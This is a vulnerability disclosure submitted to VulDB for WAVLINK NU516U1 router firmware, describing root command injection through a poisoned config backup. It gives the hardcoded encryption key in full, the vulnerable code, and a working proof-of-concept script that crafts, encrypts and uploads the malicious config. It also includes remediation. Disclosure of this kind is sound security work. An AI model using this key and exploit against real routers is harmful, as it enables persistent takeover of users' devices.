제출 #850494: WAVLINK WL-NU516U1 2026-05-15 (build 708c073-mt7628) Command Injection정보

제목WAVLINK WL-NU516U1 2026-05-15 (build 708c073-mt7628) Command Injection
설명# WAVLINK NU516U1: Config Import to Boot-time RCE via Poisoned Password with Hardcoded Encryption Key ## Summary WAVLINK NU516U1 has a critical vulnerability chain in its configuration backup/restore mechanism. The config import flow uses a hardcoded AES-256-CBC key (`dnpdlqmfldlzm#625`) to decrypt uploaded settings, then extracts the contents via `tar` and copies them directly to `/etc/config/` without validation. An attacker can craft an encrypted config archive containing a poisoned `Password` field with a shell command substitution payload. After the device reboots (triggered automatically by the import), the `adm.cgi init` handler reads the password back and passes it unsanitized into a `sprintf()` → `system()` call inside double quotes, executing the injected command as root. This chains three weaknesses: a hardcoded encryption key (CWE-321), arbitrary config file overwrite (CWE-22), and OS command injection via stored data (CWE-78). ## Affected Versions WAVLINK NU516U1 firmware version 2026-05-15 (build 708c073-mt7628) ## Vulnerability Details ### Root Cause: Hardcoded key + unvalidated config import + unsanitized system() call **Stage 1 — Config import** (`upload_settings.cgi` + `/bin/loadallsetting.sh`): `upload_settings.c` lines 67-75: ```c fread(buf, 1, size, stdin); // read uploaded file fwrite(buf, 1, size, file); // write to /var/tmpSettings // ... system("loadallsetting.sh"); // decrypt and apply ``` `/bin/loadallsetting.sh` lines 3-22: ```bash password=dnpdlqmfldlzm#625 # hardcoded AES key (line 3) openssl enc -aes-256-cbc -k $password -d \ -in /var/tmpSettings -out /tmp/tmpSettings.tar # decrypt (line 10) tar -xvf /tmp/tmpSettings.tar # extract (line 12) cp /tmp/backup_dir/config/* /etc/config/ -rf # overwrite all config (line 19) reboot # reboot (line 22) ``` **Stage 2 — Boot-time trigger** (`adm.cgi` init handler, `adm.c` lines 2386-2405): ```c wlink_uci_get_value("winstar","system","Password", &local_30, 0x10); // read password (line 2386) sprintf(acStack_c0, "echo \"%s:%s\" > /etc/lighttpd.user", &local_20, &local_30); // inject into double-quoted string (line 2404) system(acStack_c0); // execute (line 2405) // With Password = $(id>/tmp/c), the command becomes: // system("echo \"admin2860:$(id>/tmp/c)\" > /etc/lighttpd.user") // Shell evaluates $(id>/tmp/c) inside double quotes → RCE ``` ### Attack Chain - Attacker creates a config archive with `Password` set to `$(id>/tmp/c)` (13 chars, fits the 16-byte UCI read limit) - Attacker encrypts it with the hardcoded key `dnpdlqmfldlzm#625` - Attacker uploads the encrypted payload to `/cgi-bin/upload_settings.cgi` - The device decrypts, extracts, overwrites `/etc/config/winstar`, and reboots - On reboot, `adm.cgi init` reads the poisoned password and passes it to `system()` via `sprintf()` inside double quotes - `$(id>/tmp/c)` is evaluated by the shell — command executes as `uid=0(root)` ## Proof of Concept ```bash # Step 1: Create malicious config with command injection payload mkdir -p /tmp/backup_dir/config cat > /tmp/backup_dir/config/winstar << 'EOF' config system 'system' option Login 'admin2860' option Password '$(id>/tmp/c)' option UserInit '12' option MeshMode '0' option Model 'NU516U1' EOF # Step 2: Package and encrypt with the hardcoded key cd /tmp && tar cf payload.tar backup_dir/ openssl enc -aes-256-cbc -k "dnpdlqmfldlzm#625" -e \ -in payload.tar -out payload.enc -md md5 # Step 3: Upload to the target (triggers decrypt + config overwrite + reboot) curl -X POST http://192.168.10.1/cgi-bin/upload_settings.cgi \ -H "Referer: http://192.168.10.1/" \ -H "Cookie: session=VALID_SESSION" \ -F "[email protected];filename=settings.dat" # Expected: device reboots, /tmp/c created with "uid=0(root) gid=0(root) groups=0(root)" ``` ### Reproduction Result ``` /root/squashfs-root/var/tmpSettings: 10435 bytes VAR_FILE_WRITTEN=YES RCE: /tmp/c = uid=0(root) gid=0(root) groups=0(root) ``` ## Impact An attacker on the local network (or remote via CSRF) can: - Achieve persistent root code execution that triggers on every boot - Overwrite all router configuration including WiFi, firewall, and DNS settings - Install persistent backdoors that survive normal reboots (config is stored in flash) - Extract credentials from existing config backups using the same hardcoded key - Combine with CSRF referer bypass for remote, drive-by exploitation ## Suggested Remediation ```bash # 1. Replace hardcoded key with per-device key derived from hardware identity password=$(cat /sys/class/net/eth0/address | sha256sum | cut -d' ' -f1) # 2. Validate config contents after extraction # loadallsetting.sh — sanitize Password before writing to config password_value=$(uci -c /tmp/backup_dir/config get winstar.system.Password 2>/dev/null) if echo "$password_value" | grep -qE '[$`\\]'; then echo "Invalid password in config backup" >&2 exit 1 fi ``` ```c // 3. adm.c init handler — use execvp instead of system() to avoid shell interpretation // Replace sprintf+system with direct file write using fopen/fprintf FILE *f = fopen("/etc/lighttpd.user", "w"); fprintf(f, "%s:%s\n", login, password); fclose(f); ``` The root fix requires three changes: replace the hardcoded encryption key with a per-device key, validate imported config values for shell metacharacters, and replace the `sprintf` → `system()` pattern with direct file I/O.
원천⚠️ https://github.com/oduoke567/WAVLINK-NU516U1-2026-05-1/blob/main/report.md
사용자
 oduoke (UID 98772)
제출2026. 06. 06. AM 11:51 (2 개월 ago)
모더레이션2026. 08. 02. PM 10:33 (2 months later)
상태수락
VulDB 항목385415 [Wavlink WL-NU516U1 708c073-mt7628 Config Import 비밀번호 권한 상승]
포인트들20

Do you need the next level of professionalism?

Upgrade your account now!